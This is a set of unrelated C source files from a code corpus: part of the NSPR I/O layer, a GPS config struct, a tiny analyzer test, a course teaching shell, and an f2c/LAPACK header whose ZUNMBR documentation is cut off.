*writePipe = pt_SetMethods(pipefd[1], PR_DESC_PIPE, PR_FALSE, PR_FALSE); if (NULL == *writePipe) { PR_Close(*readPipe); close(pipefd[1]); return PR_FAILURE; } return PR_SUCCESS; } /* ** Set the inheritance attribute of a file descriptor. */ PR_IMPLEMENT(PRStatus) PR_SetFDInheritable( PRFileDesc *fd, PRBool inheritable) { /* * Only a non-layered, NSPR file descriptor can be inherited * by a child process. */ if (fd->identity != PR_NSPR_IO_LAYER) { PR_SetError(PR_INVALID_ARGUMENT_ERROR, 0); return PR_FAILURE; } if (fd->secret->inheritable != inheritable) { if (fcntl(fd->secret->md.osfd, F_SETFD, inheritable ? 0 : FD_CLOEXEC) == -1) { _PR_MD_MAP_DEFAULT_ERROR(errno); return PR_FAILURE; } fd->secret->inheritable = (_PRTriStateBool) inheritable; } return PR_SUCCESS; } /*****************************************************************************/ /***************************** I/O friends methods ***************************/ /*****************************************************************************/ PR_IMPLEMENT(PRFileDesc*) PR_ImportFile(PRInt32 osfd) { PRFileDesc *fd; if (!_pr_initialized) _PR_ImplicitInitialization(); fd = pt_SetMethods(osfd, PR_DESC_FILE, PR_FALSE, PR_TRUE); if (NULL == fd) close(osfd); return fd; } /* PR_ImportFile */ PR_IMPLEMENT(PRFileDesc*) PR_ImportPipe(PRInt32 osfd) { PRFileDesc *fd; if (!_pr_initialized) _PR_ImplicitInitialization(); fd = pt_SetMethods(osfd, PR_DESC_PIPE, PR_FALSE, PR_TRUE); if (NULL == fd) close(osfd); return fd; } /* PR_ImportPipe */ PR_IMPLEMENT(PRFileDesc*) PR_ImportTCPSocket(PRInt32 osfd) { PRFileDesc *fd; if (!_pr_initialized) _PR_ImplicitInitialization(); fd = pt_SetMethods(osfd, PR_DESC_SOCKET_TCP, PR_FALSE, PR_TRUE); if (NULL == fd) close(osfd); #ifdef _PR_NEED_SECRET_AF if (NULL != fd) fd->secret->af = PF_INET; #endif return fd; } /* PR_ImportTCPSocket */ PR_IMPLEMENT(PRFileDesc*) PR_ImportUDPSocket(PRInt32 osfd) { PRFileDesc *fd; if (!_pr_initialized) _PR_ImplicitInitialization(); fd = pt_SetMethods(osfd, PR_DESC_SOCKET_UDP, PR_FALSE, PR_TRUE); if (NULL != fd) close(osfd); return fd; } /* PR_ImportUDPSocket */ PR_IMPLEMENT(PRFileDesc*) PR_CreateSocketPollFd(PRInt32 osfd) { PRFileDesc *fd; if (!_pr_initialized) _PR_ImplicitInitialization(); fd = _PR_Getfd(); if (fd == NULL) PR_SetError(PR_OUT_OF_MEMORY_ERROR, 0); else { fd->secret->md.osfd = osfd; fd->secret->inheritable = _PR_TRI_FALSE; fd->secret->state = _PR_FILEDESC_OPEN; fd->methods = PR_GetSocketPollFdMethods(); } return fd; } /* PR_CreateSocketPollFD */ PR_IMPLEMENT(PRStatus) PR_DestroySocketPollFd(PRFileDesc *fd) { if (NULL == fd) { PR_SetError(PR_BAD_DESCRIPTOR_ERROR, 0); return PR_FAILURE; } fd->secret->state = _PR_FILEDESC_CLOSED; _PR_Putfd(fd); return PR_SUCCESS; } /* PR_DestroySocketPollFd */ PR_IMPLEMENT(PRInt32) PR_FileDesc2NativeHandle(PRFileDesc *bottom) { PRInt32 osfd = -1; bottom = (NULL == bottom) ? NULL : PR_GetIdentitiesLayer(bottom, PR_NSPR_IO_LAYER); if (NULL == bottom) PR_SetError(PR_INVALID_ARGUMENT_ERROR, 0); else osfd = bottom->secret->md.osfd; return osfd; } /* PR_FileDesc2NativeHandle */ PR_IMPLEMENT(void) PR_ChangeFileDescNativeHandle(PRFileDesc *fd, PRInt32 handle) { if (fd) fd->secret->md.osfd = handle; } /* PR_ChangeFileDescNativeHandle*/ PR_IMPLEMENT(PRStatus) PR_LockFile(PRFileDesc *fd) { PRStatus status = PR_SUCCESS; if (pt_TestAbort()) return PR_FAILURE; PR_Lock(_pr_flock_lock); while (-1 == fd->secret->lockCount) PR_WaitCondVar(_pr_flock_cv, PR_INTERVAL_NO_TIMEOUT); if (0 == fd->secret->lockCount) { fd->secret->lockCount = -1; PR_Unlock(_pr_flock_lock); status = _PR_MD_LOCKFILE(fd->secret->md.osfd); PR_Lock(_pr_flock_lock); fd->secret->lockCount = (PR_SUCCESS == status) ? 1 : 0; PR_NotifyAllCondVar(_pr_flock_cv); } else { fd->secret->lockCount += 1; } PR_Unlock(_pr_flock_lock); return status; } /* PR_LockFile */ PR_IMPLEMENT(PRStatus) PR_TLockFile(PRFileDesc *fd) { PRStatus status = PR_SUCCESS; if (pt_TestAbort()) return PR_FAILURE; PR_Lock(_pr_flock_lock); if (0 == fd->secret->lockCount) { status = _PR_MD_TLOCKFILE(fd->secret->md.osfd); if (PR_SUCCESS == status) fd->secret->lockCount = 1; } else fd->secret->lockCount += 1; PR_Unlock(_pr_flock_lock); return status; } /* PR_TLockFile */ PR_IMPLEMENT(PRStatus) PR_UnlockFile(PRFileDesc *fd) { PRStatus status = PR_SUCCESS; if (pt_TestAbort()) return PR_FAILURE; PR_Lock(_pr_flock_lock); if (fd->secret->lockCount == 1) { status = _PR_MD_UNLOCKFILE(fd->secret->md.osfd); if (PR_SUCCESS == status) fd->secret->lockCount = 0; } else fd->secret->lockCount -= 1; PR_Unlock(_pr_flock_lock); return status; } /* * The next two entry points should not be in the API, but they are * defined here for historical (or hysterical) reasons. */ PR_IMPLEMENT(PRInt32) PR_GetSysfdTableMax(void) { #if defined(AIX) || defined(SYMBIAN) return sysconf(_SC_OPEN_MAX); #else struct rlimit rlim; if ( getrlimit(RLIMIT_NOFILE, &rlim) < 0) return -1; return rlim.rlim_max; #endif } PR_IMPLEMENT(PRInt32) PR_SetSysfdTableSize(PRIntn table_size) { #if defined(AIX) || defined(SYMBIAN) return -1; #else struct rlimit rlim; PRInt32 tableMax = PR_GetSysfdTableMax(); if (tableMax < 0) return -1; rlim.rlim_max = tableMax; /* Grow as much as we can; even if too big */ if ( rlim.rlim_max < table_size ) rlim.rlim_cur = rlim.rlim_max; else rlim.rlim_cur = table_size; if ( setrlimit(RLIMIT_NOFILE, &rlim) < 0) return -1; return rlim.rlim_cur; #endif } /* * PR_Stat is supported for backward compatibility; some existing Java * code uses it. New code should use PR_GetFileInfo. */ #ifndef NO_NSPR_10_SUPPORT PR_IMPLEMENT(PRInt32) PR_Stat(const char *name, struct stat *buf) { static PRBool unwarned = PR_TRUE; if (unwarned) unwarned = _PR_Obsolete("PR_Stat", "PR_GetFileInfo"); if (pt_TestAbort()) return -1; if (-1 == stat(name, buf)) { pt_MapError(_PR_MD_MAP_STAT_ERROR, errno); return -1; } else { return 0; } } #endif /* ! NO_NSPR_10_SUPPORT */ PR_IMPLEMENT(void) PR_FD_ZERO(PR_fd_set *set) { static PRBool unwarned = PR_TRUE; if (unwarned) unwarned = _PR_Obsolete("PR_FD_ZERO (PR_Select)", "PR_Poll"); memset(set, 0, sizeof(PR_fd_set)); } PR_IMPLEMENT(void) PR_FD_SET(PRFileDesc *fh, PR_fd_set *set) { static PRBool unwarned = PR_TRUE; if (unwarned) unwarned = _PR_Obsolete("PR_FD_SET (PR_Select)", "PR_Poll"); PR_ASSERT( set->hsize < PR_MAX_SELECT_DESC ); set->harray[set->hsize++] = fh; } PR_IMPLEMENT(void) PR_FD_CLR(PRFileDesc *fh, PR_fd_set *set) { PRUint32 index, index2; static PRBool unwarned = PR_TRUE; if (unwarned) unwarned = _PR_Obsolete("PR_FD_CLR (PR_Select)", "PR_Poll"); for (index = 0; index<set->hsize; index++) if (set->harray[index] == fh) { for (index2=index; index2 < (set->hsize-1); index2++) { set->harray[index2] = set->harray[index2+1]; } set->hsize--; break; } } PR_IMPLEMENT(PRInt32) PR_FD_ISSET(PRFileDesc *fh, PR_fd_set *set) { PRUint32 index; static PRBool unwarned = PR_TRUE; if (unwarned) unwarned = _PR_Obsolete("PR_FD_ISSET (PR_Select)", "PR_Poll"); for (index = 0; index<set->hsize; index++) if (set->harray[index] == fh) { return 1; } return 0; } PR_IMPLEMENT(void) PR_FD_NSET(PRInt32 fd, PR_fd_set *set) { static PRBool unwarned = PR_TRUE; if (unwarned) unwarned = _PR_Obsolete("PR_FD_NSET (PR_Select)", "PR_Poll"); PR_ASSERT( set->nsize < PR_MAX_SELECT_DESC ); set->narray[set->nsize++] = fd; } PR_IMPLEMENT(void) PR_FD_NCLR(PRInt32 fd, PR_fd_set *set) { PRUint32 index, index2; static PRBool unwarned = PR_TRUE; if (unwarned) unwarned = _PR_Obsolete("PR_FD_NCLR (PR_Select)", "PR_Poll"); for (index = 0; index<set->nsize; index++) if (set->narray[index] == fd) { for (index2=index; index2 < (set->nsize-1); index2++) { set->narray[index2] = set->narray[index2+1]; } set->nsize--; break; } } PR_IMPLEMENT(PRInt32) PR_FD_NISSET(PRInt32 fd, PR_fd_set *set) { PRUint32 index; static PRBool unwarned = PR_TRUE; if (unwarned) unwarned = _PR_Obsolete("PR_FD_NISSET (PR_Select)", "PR_Poll"); for (index = 0; index<set->nsize; index++) if (set->narray[index] == fd) { return 1; } return 0; } #include <sys/types.h> #include <sys/time.h> #if !defined(SUNOS4) && !defined(HPUX) \ && !defined(LINUX) && !defined(__GNU__) && !defined(__GLIBC__) #include <sys/select.h> #endif static PRInt32 _PR_getset(PR_fd_set *pr_set, fd_set *set) { PRUint32 index; PRInt32 max = 0; if (!pr_set) return 0; FD_ZERO(set); /* First set the pr file handle osfds */ for (index=0; index<pr_set->hsize; index++) { FD_SET(pr_set->harray[index]->secret->md.osfd, set); if (pr_set->harray[index]->secret->md.osfd > max) max = pr_set->harray[index]->secret->md.osfd; } /* Second set the native osfds */ for (index=0; index<pr_set->nsize; index++) { FD_SET(pr_set->narray[index], set); if (pr_set->narray[index] > max) max = pr_set->narray[index]; } return max; } static void _PR_setset(PR_fd_set *pr_set, fd_set *set) { PRUint32 index, last_used; if (!pr_set) return; for (last_used=0, index=0; index<pr_set->hsize; index++) { if ( FD_ISSET(pr_set->harray[index]->secret->md.osfd, set) ) { pr_set->harray[last_used++] = pr_set->harray[index]; } } pr_set->hsize = last_used; for (last_used=0, index=0; index<pr_set->nsize; index++) { if ( FD_ISSET(pr_set->narray[index], set) ) { pr_set->narray[last_used++] = pr_set->narray[index]; } } pr_set->nsize = last_used; } PR_IMPLEMENT(PRInt32) PR_Select( PRInt32 unused, PR_fd_set *pr_rd, PR_fd_set *pr_wr, PR_fd_set *pr_ex, PRIntervalTime timeout) { fd_set rd, wr, ex; struct timeval tv, *tvp; PRInt32 max, max_fd; PRInt32 rv; /* * For restarting select() if it is interrupted by a Unix signal. * We use these variables to figure out how much time has elapsed * and how much of the timeout still remains. */ PRIntervalTime start, elapsed, remaining; static PRBool unwarned = PR_TRUE; if (unwarned) unwarned = _PR_Obsolete( "PR_Select", "PR_Poll"); FD_ZERO(&rd); FD_ZERO(&wr); FD_ZERO(&ex); max_fd = _PR_getset(pr_rd, &rd); max_fd = (max = _PR_getset(pr_wr, &wr))>max_fd?max:max_fd; max_fd = (max = _PR_getset(pr_ex, &ex))>max_fd?max:max_fd; if (timeout == PR_INTERVAL_NO_TIMEOUT) { tvp = NULL; } else { tv.tv_sec = (PRInt32)PR_IntervalToSeconds(timeout); tv.tv_usec = (PRInt32)PR_IntervalToMicroseconds( timeout - PR_SecondsToInterval(tv.tv_sec)); tvp = &tv; start = PR_IntervalNow(); } retry: rv = select(max_fd + 1, (_PRSelectFdSetArg_t) &rd, (_PRSelectFdSetArg_t) &wr, (_PRSelectFdSetArg_t) &ex, tvp); if (rv == -1 && errno == EINTR) { if (timeout == PR_INTERVAL_NO_TIMEOUT) { goto retry; } else { elapsed = (PRIntervalTime) (PR_IntervalNow() - start); if (elapsed > timeout) { rv = 0; /* timed out */ } else { remaining = timeout - elapsed; tv.tv_sec = (PRInt32)PR_IntervalToSeconds(remaining); tv.tv_usec = (PRInt32)PR_IntervalToMicroseconds( remaining - PR_SecondsToInterval(tv.tv_sec)); goto retry; } } } if (rv > 0) { _PR_setset(pr_rd, &rd); _PR_setset(pr_wr, &wr); _PR_setset(pr_ex, &ex); } else if (rv == -1) { pt_MapError(_PR_MD_MAP_SELECT_ERROR, errno); } return rv; } #endif /* defined(_PR_PTHREADS) */ #ifdef MOZ_UNICODE /* ================ UTF16 Interfaces ================================ */ PR_IMPLEMENT(PRFileDesc*) PR_OpenFileUTF16( const PRUnichar *name, PRIntn flags, PRIntn mode) { PR_SetError(PR_NOT_IMPLEMENTED_ERROR, 0); return NULL; } PR_IMPLEMENT(PRStatus) PR_CloseDirUTF16(PRDir *dir) { PR_SetError(PR_NOT_IMPLEMENTED_ERROR, 0); return PR_FAILURE; } PR_IMPLEMENT(PRDirUTF16*) PR_OpenDirUTF16(const PRUnichar *name) { PR_SetError(PR_NOT_IMPLEMENTED_ERROR, 0); return NULL; } PR_IMPLEMENT(PRDirEntryUTF16*) PR_ReadDirUTF16(PRDirUTF16 *dir, PRDirFlags flags) { PR_SetError(PR_NOT_IMPLEMENTED_ERROR, 0); return NULL; } PR_IMPLEMENT(PRStatus) PR_GetFileInfo64UTF16(const PRUnichar *fn, PRFileInfo64 *info) { PR_SetError(PR_NOT_IMPLEMENTED_ERROR, 0); return PR_FAILURE; } /* ================ UTF16 Interfaces ================================ */ #endif /* MOZ_UNICODE */ /* ptio.c */
the_stack_data/28261898.c
/* secgps.conf parameters */ typedef struct sec_gps_cfg_s { char OPERATION_MODE[50]; } sec_gps_cfg_s_type; typedef struct Sec_Configuration_s { char STUB[50]; } Sec_Configuration_s_type; sec_gps_cfg_s_type sec_gps_conf = { .OPERATION_MODE = "MSBASED" }; Sec_Configuration_s_type Sec_Configuration = { .STUB = "" };
the_stack_data/218893474.c
/* * Copyright (c) 2013 - Facebook. * All rights reserved. */ int identity(int x) { return x; } int bar(int x) { if (identity(x)) { return 1; } else { return 0; } } int baz(int x) { if (identity(!x)) { return 1; } else { return 0; } } int neg(int x) { return !x; }
the_stack_data/72660.c
#include <stdlib.h> #include <stdio.h> #include <sys/wait.h> #include <string.h> #include <errno.h> #include <unistd.h> #define MAX_LINE_SIZE 1024 //the maximum bytes of an inputted command line #define MAX_ARG_NUM 30 //the maximum number of arguments in a command line int shell_read_line(char *); int get_line_args(char *, char **); int shell_execute(char **, int); int main(void) { char *cmd_line; char ** cmd_args; int argc, char_num, status; printf("---------------------------------------------------------\n"); printf("|Simple Shell Program for CSCI 3150 (Zili Shao@CSE,CUHK)|\n"); printf("---------------------------------------------------------\n"); printf("\nUsage: Input a command for execution or EXIT for exit. \n\n"); /* Intialize*/ if ((cmd_line = malloc(MAX_LINE_SIZE)) == NULL) { printf("malloc() error for cmd_line\n"); exit(-1); } if ((cmd_args = malloc(MAX_ARG_NUM * sizeof(char *))) == NULL) { printf("malloc() error for cmd_args\n"); exit(-1); } while(1){ //Print the prompt "$$$" printf("$$$ "); // Intialize command line & command args memset(cmd_line, 0 , MAX_LINE_SIZE); memset(cmd_args, 0 , MAX_ARG_NUM); //Read the input command line if( ( char_num = shell_read_line(cmd_line)) <= 0 ){ //If no argument or too many arguments, no execution and continue continue; }else{ //Get the arguments if( (argc = get_line_args(cmd_line, cmd_args)) <= 1){ //"NULL" as the input or have error printf("Error: Not effective command. %d\n", argc); continue; } if ( (status = shell_execute(cmd_args, argc)) < 0 ) break; } } free(cmd_line); free(cmd_args); return 0; } int shell_read_line(char * cmd_buf) { int position = 0; char c; while (1) { // Read one character each time c = getchar(); // For newline, put a null character and return. if ( c == '\n') { cmd_buf[position] = '\0'; return position; } else { cmd_buf[position] = c; position++; //if too big, warning and return -1 if (position >= MAX_LINE_SIZE) { printf("The command size is too big\n"); return -1; } } } } int get_line_args(char * line, char ** args) { int start_position = 0; int end_position = 0; char c; int argc = 0; while (argc < MAX_ARG_NUM ){ //Jump to the first non-space/tab char while(1){ c= line[start_position]; if ( c == ' ' || c == '\t'){ start_position ++; }else{ break; } } //Check if the end of string - if yes, return the argument as NULL; otherwise, find the argument if ( c == '\0'){ args[argc] = NULL; argc++; return argc; }else{ end_position = start_position; //Move end_position to the end of the argument while (1){ end_position++; c= line[end_position]; if ( c == ' ' || c == '\t' || c == '\0') break; } if( c != '\0'){ line[end_position] = '\0'; end_position++; } args[argc] = & line[start_position]; argc ++; start_position = end_position; } } //Should never go here; Return -1 for error return -1; }
the_stack_data/55126.c
/* f2c.h -- Standard Fortran to C header file */ /** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed." - From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */ #ifndef F2C_INCLUDE #define F2C_INCLUDE #include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimag(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static integer c__1 = 1; static integer c_n1 = -1; static integer c__2 = 2; /* > \brief \b ZUNMBR */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download ZUNMBR + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zunmbr. f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zunmbr. f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zunmbr. f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE ZUNMBR( VECT, SIDE, TRANS, M, N, K, A, LDA, TAU, C, */ /* LDC, WORK, LWORK, INFO ) */ /* CHARACTER SIDE, TRANS, VECT */ /* INTEGER INFO, K, LDA, LDC, LWORK, M, N */ /* COMPLEX*16 A( LDA, * ), C( LDC, * ), TAU( * ), WORK( * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > If VECT = 'Q', ZUNMBR overwrites the general complex M-by-N matrix C */ /* > with */ /* > SIDE = 'L' SIDE = 'R' */ /* > TRANS = 'N': Q * C C * Q */ /* > TRANS = 'C': Q**H * C C * Q**H */ /* > */ /* > If VECT = 'P', ZUNMBR overwrites the general complex M-by-N matrix C */ /* > with */ /* > SIDE = 'L' SIDE = 'R' */ /* > TRANS = 'N': P * C C * P */ /* > TRANS = 'C': P**H * C C * P**H */ /* > */ /* > Here Q and P**H are the unitary matrices determined by ZGEBRD when */ /* > reducing a complex matrix A to bidiagonal form: A = Q * B * P**H. Q */ /* > and P**H are defined as products of 